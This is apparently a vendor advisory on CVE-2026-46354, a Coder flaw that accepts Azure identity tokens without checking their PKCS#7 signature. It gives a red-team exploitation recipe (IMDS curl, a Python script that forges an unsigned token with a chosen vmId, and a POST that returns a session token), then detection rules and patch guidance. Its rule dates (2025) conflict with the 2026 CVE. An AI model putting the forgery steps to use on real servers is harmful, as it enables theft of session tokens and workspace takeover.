CVE-2026-46354
Executive Summary
CVE-2026-46354 is a critical authentication bypass vulnerability in Coder, a platform for provisioning remote development environments via Terraform. The flaw resides in the azureidentity.Validate() function, which incorrectly validates Azure Managed Identity tokens. The function verifies that the PKCS#7 signer certificate chains to a trusted Azure Certificate Authority (CA) but fails to verify the PKCS#7 digital signature itself. This allows an attacker to forge a valid-looking identity token by embedding a legitimate Azure certificate alongside arbitrary content, such as a forged vmId. The forged token is then accepted by the Coder server, granting the attacker the victim workspace agent's session token. No authentication is required, and the attack is network-based with low complexity. The primary practical limitation is that the attacker must know the target VM's vmId, a UUIDv4, which typically requires prior access to the environment.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability is not directly in a package manager (NPM, PyPI, Go, Ruby) but in the Coder server application itself. However, the attack exploits the Azure Instance Metadata Service (IMDS) identity token, which is a cloud-specific feature. The supply chain risk is indirect: if an attacker compromises a Coder workspace, they could pivot to obtain the vmId and then exploit this vulnerability to gain further access. The patched versions are available on the Coder GitHub releases page.
CVSS Breakdown & Threat Level
- CVSS Score: 9.1 (Critical)
- Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
- Attack Vector (AV): Network (N) - The vulnerability can be exploited remotely over the network.
- Attack Complexity (AC): Low (L) - No special conditions are required; the attacker only needs to send a crafted request.
- Privileges Required (PR): None (N) - No authentication is needed to exploit.
- User Interaction (UI): None (N) - No user action is required.
- Scope (S): Unchanged (U) - The vulnerable component and the impacted component are the same.
- Confidentiality (C): High (H) - The attacker can obtain session tokens, leading to full workspace access.
- Integrity (I): High (H) - The attacker can forge identity tokens.
- Availability (A): High (H) - The attacker could potentially disrupt workspace operations.
Threat Level: Critical. The vulnerability allows unauthenticated remote attackers to bypass Azure identity validation and steal session tokens. The only barrier is knowledge of the target VM's vmId.
Deep Dive & Mechanics
The vulnerability is in the azureidentity.Validate() function within Coder's codebase. This function is responsible for validating Azure Managed Identity tokens presented by workspace agents. The token is a PKCS#7 signed object that contains the VM's identity information, including the vmId.
Flaw: The validation logic performs two checks:
- It extracts the signer certificate from the PKCS#7 structure.
- It verifies that the signer certificate chains to a trusted Azure CA root certificate.
However, it never verifies the PKCS#7 digital signature against the content. This means an attacker can:
- Obtain a legitimate Azure certificate (e.g., from a public Azure service or a compromised VM).
- Create a forged PKCS#7 structure containing arbitrary content (e.g.,
{"vmId":"<target_vm_id>"}). - Embed the legitimate certificate in the structure.
- Send this forged token to the Coder server.
The server will see that the certificate chains to a trusted Azure CA and accept the forged vmId. It then returns the session token for the workspace agent associated with that VM.
Attack Flow:
- Reconnaissance: Attacker identifies a target Coder deployment and obtains a target VM's
vmId. This could be done via prior access to the environment, information disclosure, or social engineering. - Craft Payload: Attacker creates a forged PKCS#7 token with the target
vmIdand a legitimate Azure certificate. - Exploit: Attacker sends the forged token to the Coder server's authentication endpoint.
- Token Theft: The server validates the certificate chain, accepts the forged
vmId, and returns the workspace agent's session token. - Lateral Movement: Attacker uses the session token to access the victim's workspace, potentially exfiltrating data or deploying malware.
Vulnerable vs. Patched Code
Vulnerable Code (Conceptual):
func Validate(token string) (string, error) {
p7, err := parsePKCS7(token)
if err != nil {
return "", err
}
// Extract signer certificate
cert := p7.GetSignerCertificate()
// Verify certificate chain to Azure CA
err = verifyChain(cert, azureRootCAs)
if err != nil {
return "", err
}
// MISSING: Verify PKCS#7 signature
// Extract vmId from content
content := p7.Content
vmId := extractVmId(content)
return vmId, nil
}
Patched Code (Conceptual):
func Validate(token string) (string, error) {
p7, err := parsePKCS7(token)
if err != nil {
return "", err
}
// Extract signer certificate
cert := p7.GetSignerCertificate()
// Verify certificate chain to Azure CA
err = verifyChain(cert, azureRootCAs)
if err != nil {
return "", err
}
// FIX: Verify PKCS#7 signature
err = p7.VerifySignature(cert)
if err != nil {
return "", err
}
// Extract vmId from content
content := p7.Content
vmId := extractVmId(content)
return vmId, nil
}
The patch adds a call to p7.VerifySignature(cert) which cryptographically verifies that the content was signed by the private key corresponding to the embedded certificate. This prevents forgery.
Exploitation & Lab Setup
Red Team
Prerequisites:
- Target Coder server (vulnerable version).
- Knowledge of a target VM's
vmId(UUIDv4). - A legitimate Azure certificate (can be obtained from any Azure VM's IMDS endpoint or a public Azure service).
Exploitation Steps:
Obtain a Legitimate Azure Certificate:
- From a compromised Azure VM, query the IMDS endpoint:
curl -H "Metadata: true" "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/" - Extract the certificate from the response (the token is a PKCS#7 blob).
- From a compromised Azure VM, query the IMDS endpoint:
Craft Forged Token:
- Use a tool like
opensslor a custom script to create a new PKCS#7 structure with the targetvmIdand the legitimate certificate. - Example using Python (conceptual):
from cryptography import x509 from cryptography.hazmat.primitives import hashes, serialization from cryptography.hazmat.primitives.asymmetric import padding from cryptography.hazmat.backends import default_backend from asn1crypto import cms, core import json # Load legitimate certificate with open("legit_cert.pem", "rb") as f: cert = x509.load_pem_x509_certificate(f.read(), default_backend()) # Create forged content forged_content = json.dumps({"vmId": "target-vm-uuid"}).encode() # Create PKCS7 signed data (without signing - this is the vulnerability) # We just embed the certificate and content signed_data = cms.SignedData() signed_data['version'] = 1 signed_data['digest_algorithms'] = [{'algorithm': 'sha256'}] signed_data['encap_content_info'] = { 'content_type': 'data', 'content': forged_content } signed_data['certificates'] = [cert.public_bytes(serialization.Encoding.DER)] signed_data['signer_infos'] = [] # No actual signature content_info = cms.ContentInfo() content_info['content_type'] = 'signed_data' content_info['content'] = signed_data forged_token = content_info.dump() print(base64.b64encode(forged_token).decode())
- Use a tool like
Send Forged Token to Coder:
- Identify the authentication endpoint (e.g.,
/api/v2/workspaceagents/azure-instance-identity). - Send a POST request with the forged token:
curl -X POST https://coder.example.com/api/v2/workspaceagents/azure-instance-identity \ -H "Content-Type: application/json" \ -d '{"token": "<forged_token_base64>"}'
- Identify the authentication endpoint (e.g.,
Receive Session Token:
- The server will respond with the workspace agent's session token.
- Use this token to access the victim's workspace.
Blue Team
Detection:
- Monitor for unusual authentication requests to the
azure-instance-identityendpoint. - Look for multiple failed authentication attempts (though the attack may succeed on the first try).
- Alert on any authentication using Azure identity tokens from unexpected IP addresses or outside normal business hours.
Hunting:
- Search logs for
azureidentity.Validate()calls with unusual certificate chains or content. - Correlate
vmIdvalues with known workspace agents; any mismatch is suspicious. - Check for tokens that have valid certificate chains but invalid signatures (requires deep packet inspection).
Lab Setup:
- Deploy a vulnerable Coder server (version < 2.24.5) in an isolated environment.
- Set up a test Azure VM with managed identity enabled.
- Obtain the test VM's
vmIdfrom the Azure portal or IMDS. - Use the Red Team steps to simulate the attack.
- Monitor logs and network traffic to understand the attack pattern.
Indicators of Compromise (IOCs)
- Network:
- POST requests to
/api/v2/workspaceagents/azure-instance-identitywith atokenfield containing a PKCS#7 blob. - The PKCS#7 blob has a valid certificate chain but no valid signature (can be detected by inspecting the
signer_infosfield).
- POST requests to
- Logs:
- Coder server logs showing successful
azureidentity.Validate()calls for unexpectedvmIdvalues. - Authentication logs showing session token issuance without prior user authentication.
- Coder server logs showing successful
- Endpoint:
- Unauthorized access to workspace agents.
- Unexpected processes or network connections from workspace agents.
Detection Engineering
YARA Rule
rule CVE_2026_46354_AzureIdentityForgery {
meta:
description = "Detects forged Azure identity tokens exploiting CVE-2026-46354"
author = "Valters IT"
date = "2025-04-10"
hash = "unknown"
strings:
$pkcs7_header = { 30 82 ?? ?? 06 09 2A 86 48 86 F7 0D 01 07 02 }
$vmId_key = "vmId"
$no_signer = { 31 00 } // Empty set of signer_infos
condition:
$pkcs7_header and $vmId_key and $no_signer
}
Sigma Rule
title: CVE-2026-46354 - Azure Identity Token Forgery
id: 8a4b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects exploitation attempts of CVE-2026-46354 by monitoring for forged Azure identity tokens.
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: coder
detection:
selection:
cs-method: 'POST'
cs-uri-stem: '/api/v2/workspaceagents/azure-instance-identity'
cs-content-type: 'application/json'
condition: selection
falsepositives:
- Legitimate Azure identity token requests from valid workspace agents.
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2026-46354 - Azure Identity Token Forgery Attempt"; flow:to_server; content:"POST"; http_method; content:"/api/v2/workspaceagents/azure-instance-identity"; http_uri; content:"application/json"; http_content_type; pcre:"/\"token\":\s*\"[A-Za-z0-9+\/=]+\"/"; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Patch: Upgrade Coder to version 2.24.5, 2.29.13, 2.30.8, 2.31.12, 2.32.2, or 2.33.3 (or later).
- Workaround: Reconfigure any Azure templates to use token authentication rather than
azure-instance-identity. This eliminates the attack vector.
Long-Term Measures:
- Implement network segmentation to limit access to the Coder server.
- Enable logging and monitoring for the
azure-instance-identityendpoint. - Regularly audit workspace agent tokens and their associated
vmIdvalues. - Apply the principle of least privilege to workspace agents.
Valters IT Signature
Report generated by Valters IT DevSecOps & CTI Framework CVE-2026-46354 | Critical | Azure Identity Bypass in Coder